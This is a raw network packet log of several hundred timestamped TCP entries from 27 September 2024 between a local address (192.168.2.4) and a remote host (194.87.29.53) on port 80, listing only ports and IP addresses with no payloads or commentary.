Sep 27, 2024 18:29:08.140477896 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140490055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140515089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140573025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140588999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140599966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140608072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140618086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140620947 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140630007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140639067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140642881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140655041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140657902 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140678883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140698910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140722990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140768051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140829086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140840054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140877008 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.140894890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140906096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.140943050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141011000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141021967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141031981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141042948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141052961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141064882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141077995 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141088009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141153097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141161919 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141180992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141201973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141205072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141211987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141221046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141236067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141249895 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141383886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141429901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141433001 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141439915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141469955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141469955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141477108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141489029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141516924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141530037 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141594887 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141606092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141616106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.141639948 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.141653061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143235922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143268108 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143279076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143299103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143326044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143373966 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143390894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143402100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143412113 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143416882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143428087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143443108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143464088 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143543005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143588066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143625021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143676043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143676996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143718958 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143723965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143764019 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143831015 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143877983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143887997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143898964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143918991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.143939972 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143959999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.143975019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144018888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144031048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144076109 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144169092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144180059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144191980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144201994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144222021 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144226074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144237995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144248962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144254923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144273996 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144273996 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144300938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144314051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144321918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144325018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144355059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144372940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144393921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144404888 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144414902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144423962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144442081 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144465923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144582033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144629955 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144644976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144684076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144731045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144748926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144758940 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144781113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144793987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144826889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144839048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144867897 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144890070 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144896030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144934893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.144964933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.144977093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145005941 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.145019054 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.145044088 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145090103 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.145155907 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145168066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145178080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145193100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145204067 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.145215034 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.145235062 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.145279884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145320892 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.145328045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145339012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145364046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.145368099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145373106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.145380020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145420074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.145442963 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145489931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.145503998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145513058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.145555973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.147413969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147460938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147470951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147473097 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.147499084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.147516966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.147520065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147531033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147542000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147552013 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147562027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147566080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.147598982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.147610903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.147852898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147900105 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.147902012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147914886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147941113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.147953987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.147973061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147984982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.147994041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.148021936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.148046017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.148134947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.148181915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231415987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231445074 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231456995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231471062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231483936 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231493950 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231498957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231514931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231514931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231549025 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231564045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231580973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231633902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231635094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231652021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231674910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231688023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231734991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231746912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231759071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231771946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231776953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231803894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231827974 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231935978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231947899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231959105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231971025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231980085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.231983900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.231995106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232023954 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232112885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232125998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232141972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232153893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232156038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232166052 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232177973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232181072 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232211113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232223988 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232244968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232287884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232424974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232436895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232448101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232459068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232467890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232470989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232485056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232496023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232496023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232506990 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232516050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232520103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232532978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232539892 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232547045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232566118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232585907 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232768059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232779980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232789993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232803106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232805967 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232810020 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232815981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232826948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232837915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232846022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232851982 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232866049 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232877970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232878923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232891083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232901096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232903004 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232914925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232924938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232928991 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232942104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.232952118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232974052 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.232981920 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233285904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233297110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233308077 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233319044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233329058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233330965 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233340979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233340979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233355045 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233365059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233371973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233388901 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233411074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233562946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233575106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233584881 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233596087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233607054 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233608007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233619928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233633041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233637094 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233643055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233652115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233655930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233675957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233696938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233870983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233881950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233892918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233910084 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233916044 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233922005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233927011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233941078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233943939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233954906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233966112 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233968973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233980894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.233988047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.233992100 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234004974 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234005928 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234015942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234028101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234034061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234040022 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234050989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234054089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234067917 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234067917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234081984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234091997 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234097958 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234121084 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234129906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234461069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234473944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234483957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234494925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234499931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234504938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234504938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:08.234512091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234530926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234543085 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:08.234549046 CEST	80	60865	194.87.29.53	192.168.2.4
